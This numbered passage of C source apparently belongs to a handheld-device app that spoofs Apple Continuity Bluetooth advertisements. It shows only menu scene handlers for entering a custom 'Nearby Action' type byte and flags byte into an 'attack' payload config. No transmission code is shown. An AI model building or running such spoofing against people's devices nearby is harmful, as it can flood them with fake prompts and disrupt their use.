  756. void scene_continuity_na_action_on_exit(void* _ctx) {
  757. UNUSED(_ctx);
  758. }
  759. static void na_action_custom_callback(void* _ctx) {
  760. Ctx* ctx = _ctx;
  761. Payload* payload = &ctx->attack->payload;
  762. ContinuityCfg* cfg = &payload->cfg.continuity;
  763. payload->mode = PayloadModeValue;
  764. cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
  765. scene_manager_previous_scene(ctx->scene_manager);
  766. scene_manager_previous_scene(ctx->scene_manager);
  767. }
  768. void scene_continuity_na_action_custom_on_enter(void* _ctx) {
  769. Ctx* ctx = _ctx;
  770. Payload* payload = &ctx->attack->payload;
  771. ContinuityCfg* cfg = &payload->cfg.continuity;
  772. ByteInput* byte_input = ctx->byte_input;
  773. byte_input_set_header_text(byte_input, "Enter custom Action Type");
  774. ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
  775. byte_input_set_result_callback(
  776. byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  777. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  778. }
  779. bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
  780. UNUSED(_ctx);
  781. UNUSED(event);
  782. return false;
  783. }
  784. void scene_continuity_na_action_custom_on_exit(void* _ctx) {
  785. UNUSED(_ctx);
  786. }
  787. static void na_flags_callback(void* _ctx) {
  788. Ctx* ctx = _ctx;
  789. scene_manager_previous_scene(ctx->scene_manager);
  790. }
  791. void scene_continuity_na_flags_on_enter(void* _ctx) {
  792. Ctx* ctx = _ctx;
  793. Payload* payload = &ctx->attack->payload;
  794. ContinuityCfg* cfg = &payload->cfg.continuity;
  795. ByteInput* byte_input = ctx->byte_input;
  796. byte_input_set_header_text(byte_input, "Press back for automatic");
  797. ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;
  798. byte_input_set_result_callback(
  799. byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  800. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  801. }
  802. bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
  803. Ctx* ctx = _ctx;
  804. if(event.type == SceneManagerEventTypeBack) {
  805. ctx->byte_store[0] = 0x00;
  806. }
  807. return false;
  808. }
  809. void scene_continuity_na_flags_on_exit(void* _ctx) {
  810. Ctx* ctx = _ctx;
  811. Payload* payload = &ctx->attack->payload;
  812. ContinuityCfg* cfg = &payload->cfg.continuity;
  813. cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
  814. }